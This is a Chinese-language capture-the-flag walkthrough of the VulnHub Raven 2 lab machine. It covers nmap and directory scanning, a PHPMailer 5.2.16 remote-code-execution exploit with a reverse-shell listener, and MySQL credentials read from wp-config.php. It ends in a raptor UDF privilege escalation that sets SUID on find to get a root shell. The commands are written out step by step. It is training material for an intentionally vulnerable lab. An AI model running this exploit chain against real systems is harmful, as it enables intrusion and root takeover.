靶机下载地址 https://www.vulnhub.com/entry/raven-2,269/
环境:攻击机kali:192.168.200.133
探针IP及端口
利用漏洞获取web权限
信息收集
查看数据库配置文件得到数据库root
利用Mysql提权Linux(Mysql 版本区别同 Windows)
nmap 192.168.200.0/24
得知目标ip192.168.200.144
继续扫端口,扫出了22、80、111、47739
nmap -p 1-65535 192.168.200.144
80是有个web服务,上去看一下没啥用。
用dirb对它进行目录扫描(看别人的wp提前知道切入点在vendor目录,用了好多工具竟然只有dirb和gobuster扫出来了。气死我了)
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
dirb http://192.168.200.144
gobuster
gobuster dir -u http://192.168.200.144 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html .php
来到vendor,是个目录遍历。PATH中有第一个flag和网站的绝对路径。phpmailer是关键,VERSION中发现版本号5.2.16
——————————————————————————————————————
搜索相关漏洞利用一波。这里选择40974.py
复制到当前目录: searchsploit -m 40974.py -m
复制到root(随意)目录: cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
进exp修改几处地方,依次是目标ip(contact.php要加着)、后门名字、监听端ip、监听端口、我们刚刚得到的绝对路径
执行exp:
python3 40974.py
监听端口:nc -lvnp 4444
,浏览器访问后门,成功监听到会话
python创建交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
find命令找一下flag: find / -name "flag*"
,找到flag2和flag3
写入后门利用菜刀连接方便操作:echo '' >1.php
上传信息收集脚本LinEnum.sh进行提权信息收集
在wordpress目录下的wp-config.php文件中能得到mysql的用户名root和密码R@v3nSecurity,查看mysql的版本发现是5.5.60
登录一下mysql的root,这里蚁剑竟然连不上气死我了,只好在shell那里mysql -u root -p
然后输密码登了
思考:为什么需要数据库root?因为本身权限不够干后文中移动文件等事情,需要利用mysql的root
这里我们选择1518.c
上面一样的方法下载exp,不多讲了
先使用下列命令在本地生成111.so文件
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o 111.so 1518.o -lc
然后把111.so下载到靶机上,方法比较多了,这里不赘述
然后在mysql中开始我们的表演
进入数据库进行 UDF 导出
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/111.so')); //上传到哪就写哪
select * from foo into dumpfile '/usr/lib/mysql/plugin/111.so'; //这个和上一行不是一个路径嗷,要根据前面进程列出来的plugin目录进行改动(一般就是这个)
create function do_system returns integer soname '111.so'; //创建 do_system 函数调用
select do_system('chmod u+s /usr/bin/find'); //给find命令赋予suid权限
exit
退出mysql,配合使用 find 调用执行find . -exec /bin/sh \;
成功!!
退出mysql后的另一种提权方法(没试验):
touch 本来的用户名
find 本来的用户名 –exec "whoami" \;
find 本来的用户名 –exec "/bin/sh" \;
flag4就在root目录下